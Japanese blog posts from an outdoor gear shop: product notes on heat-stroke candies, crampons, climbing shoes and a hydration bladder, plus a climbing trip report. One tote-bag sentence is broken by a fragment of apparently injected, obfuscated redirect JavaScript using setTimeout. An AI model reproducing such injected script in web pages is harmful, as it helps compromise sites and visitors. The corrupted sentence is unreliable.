過信は禁物、油断も禁物。

おはようございます!。

あんまり自分の力を過信してはいけないと思います。自分の器を小さく見積もって、いろいろ準備していくスタイルもアリだと思う。

日々のトレーニング、足りてますか?。
結局その場その場で山登り、なんてありがちな話。

そういう人にまず進めるのが
①ストック:足への負担が3割減ります。
②サプリメント:BCAAは筋肉疲労、クエン酸は肉体疲労。翌日の仕事でヘロヘロになるくらいなら、「ドーピング」。
③サポーター:ご存知の通り。筋肉稼動を補助します。

自分のことを信じきってる人は、実際見向きもしません。それはそれで良いことなのですが。

しかし、これからの季節は体力だけあっても、なかなかどーにもならない「熱中症」が待ってます。
水分、塩分、ミネラル、ビタミン・・・そういうのを補給していかないで油断してると、すぐイっちゃいます。

塩熱飴、オススメです!
電解質の補給/水分補給補助/BCAA摂取などなど、ようは「熱中症対策」になります。

写真 1

写真 3

そんな大げさなものじゃないし、ポッケに1粒2粒いれときゃいい。
おまけに味も結構美味しい!。

時既に遅し状態にならないように、常備しておくといいですよ〜!。

何でこーゆー形にするかなぁ~。

こちら、B社のネーベさん。アルミですから、折り曲げるぐらい仕方ない。

でも、こーゆーのは「ユーザーに優しく、工場長に厳しい」形状です。普通の▲以外は面倒臭い。

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次はコチラですが、慣れてしまえば、「縦爪」は、それ程難しい話じゃない。

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むしろ「その他」の爪の方が、変なギザギザで悩ましげな形状だったりする。

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こちら、B社のスティンガーくんに至っては、どーすんのヨ、こんなにギザギザさせちゃって!!。確かに、格好イイけどさぁ~。

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「少ない労力、程良い稼ぎ」を企む私としては、デザイナーに悪意すら感じる。

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そろそろアイゼンを寝かせておく時期となりますので、メンテナンスはオフシーズンに済ませましょう!。

じょじょに「夏仕様」へ。

こんにちは。

まず、店先。
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「サンダルコーナー」です!。かかとが潰せるスリッパタイプもありますよ。

そして、二階。
写真 3
「短パンコーナー」です!。クライミングの時は、やっぱり七分丈が便利?。

じょじょに「夏仕様」へ移行中です。

MLIっぽい袋

巷で最近流行の「ミルスペック」的なコレ、男の子はこーゆーのに弱い。後ろ髪引かれて、つい入れてしまった・・・。

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まぁ、言えば3wayなトートバックですから、何にお使いになろーが自由です。こだわり派の人はandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands/index.htm” target=”_blank”>カタログでも読んでくれ

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今時珍しい“Made in USA”なところも素晴らしので、お好きな方は是非、限定好きも見逃すな!。

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ちなみに、しゃけ生息個体数も少なくなってきました(でなりさん、本日時点で7匹飼育中)。ご注意下さい。

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ダムと橋と沢靴

まずダムに行った。

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次に橋に行った。

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ここまでは普通の遠足。靴を履き替えれば「大人の遠足」、天気も良く楽しい川遊びでした。

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毎度あり。ギャラで新しい沢靴買お。

4世代、並べてみました。

こんにちは。Five Ten社の新しいクライミングシューズ。「Anasazi Lace up THE PINK」が入荷してきました。
商品名も、ソールも、カラーも、代によって変わり続けてきた伝説のモデルです。

新製品導入にもかかわらず、恐ろしい事に、デナリさんには4世代が同居。まだ居座っているヤツもいるので、全員集合、並べてみました。

まず正面から。
写真 1
つづいてヒールから。
写真 2

C4ソール時代とヒール形状変更入れれば、コイツも3代目か?。とりあえず、一番右が最古参。一番左が入荷してきた最新モデルです。

ヒールの部分、かなり変わってきてますね。旧タイプを見ると、ちょっと狂気を感じるほどのデザイン。ぱこぱこ踵が浮いてしまいそうです。
それに比べて最新モデルの「THE PINK」はかなりスッキリ。洗練されてきてます。

カラーリングは、初代に戻ったことで「復刻」的なイメージ。

ちなみにソールは、(C4)→ONYX、ONYX、XX、C4。改良と改悪は紙一重、結局、オリジナルに戻しました。

写真

最新モデルの「THE PINK」のはき心地、なのですが
特に1世代前の「VERDE」と比べると、センター軸が少し親指寄り(内側)になっているような気がします。
「VERDE」はもっと中指寄りに体重が乗っかっていくような感触?
ソールから見ても、ターンインしている訳ではないのですが、トゥトップが少し内側に来ているせいか
そんな印象。
どっちを取るかは、好み次第かな?。いずれにしても悪くない、癖のない足入れ。

ヒールのホールド感も、強すぎず弱すぎず
いい感じです。

レースアップのクライミングシューズを検討している方は、是非はいてみてください。
オススメです♪。ネットショップもどうぞ!。

瑞牆でとれーにんぐ。

おはようございます。先週末、瑞牆でトレーニングしてきました。

出発が朝になったので、かなり遅めの到着。駐車場は車多く、クラッシュパッドを背負った人達が多いです。ボルダラーが多い。
写真 1-2

少し悩みましたが、マルチを考えていたので、脱ぎはきが楽なクルーザーをはいてきました。
下はお気に入りのモンチュラのジーパン、快適で非常に調子が良いです。
気温はありますが、ザックの中には一応、ナノパフを突っ込みます。(最後の最後で役に立ちました。)

どうやら天気が午後崩れるらしく、マルチはやめて、アプローチが楽な近場でショートルートでもやるか悩む。
しかし、悩み始めたらちょっとでもキツい方へ行くというのが師匠の教え。時間も遅いが大ヤスリにむけて出発!。

写真 2-2 アッセンジョニスト45Lです。ザック正面のデイジーチェーンに、バックルを二本通しておけば、何かと便利です。

なぜかアプローチで迷ってしまう。時計を見て焦りましたが、無理矢理登って大ヤスリの麓へ到着。

写真 4-1 久しぶりの花崗岩、頑張って登るぞー。

1p,2pはフォロー、3pはリードであがります。
前半が思った以上にワイドで、持ってきた小さいカムが全然決まりませんでした。
風も結構冷たい。でも、景色は最高!。遠くには、五条岩。

大ヤスリの迫力に圧倒される、今回は手前のナイフリッジのピークを行くことにしました。
最後の4p目、難しい!しかし、無理矢理攀じ上る。

無事、ピークに立った。ぐるっと見回して、瑞牆山の岩峰達を目に焼き付けて、即、懸垂下降。

登り出しまで下りてきて、荷物をザックに放り込み、走って下山です。

下山の時はやっぱりボルダーXのが断然強いなぁと感じつつ、それでも走って下山です。

写真 ふー、麓のボルダーエリアに戻ってきた。17時くらいです

よーし、まだまだ。ボルダリングするぞー!。

しかし、僕たちはクラッシュパッドを忘れてきたことに気付く。
そこで、ナノパフをパッド代わりにしようという妙案を思い付く。
使い方、完全に間違っています(笑)でも、ないよりはマシです。

だーめだ!阿修羅さんが登れない。悔しい。てか、ナノパフじゃ怖い。

最後はヘッデンつけて、何便かだして、19:30。
本日はここで終了。帰りは渋滞、帰宅は24:00。

瑞牆は本当に素晴らしいところです。

「エルティーーー!!」

やることたっくさん、久しぶりにブログにたっち!!

登場は↓
オスプレー「LT レザヴォア 2.5L」@3,240
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今回のニューなハイドレーションは給水が楽ちん♪
今までのハイドレーションは給水の度に小さい穴(ザックによってはかなり小さいぞ)
にホースの抜き差しが面倒でした。

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LTちゃんは赤色のパーツを押してあげると、サッサと抜き差し。
給水の度にホースを抜く→またホースを入れるの手間がゼロ。
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クイックコネクター的なハイドレーションも各ブランドに存在はしていますが、
ザックに荷物が入った状態だと、下のコネクター部を外すのはかなり大変。
引っ張りあげてから抜けばいいですが、各部位のストレスなど考えれば、挿入したままで外れるのがスムーズではないでしょうか。
LTちゃんはそんな簡単に手が届くところにコネクターさんが付いてます!!
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あとLTちゃんの+αは、
タンクがV型バッフル構造で水はねを防ぐと共に、スリムな本体形状を保ってくれまっす!!
いかがでしょう。

何で朝から雨なんだ

何で朝から雨なんだ?。それにしても、地味な降りっぷりだーね。

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とりあえず、集合場所に移動。どこに行くのか自分では全く分かりません(笑)。まだ切符も渡されてないし・・・。

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そんな訳で、これから遠足に行って来ます。

ただ、問題が1つ。ADくん今起きたから1時間は遅刻だな・・・。本番に間に合うのか!?。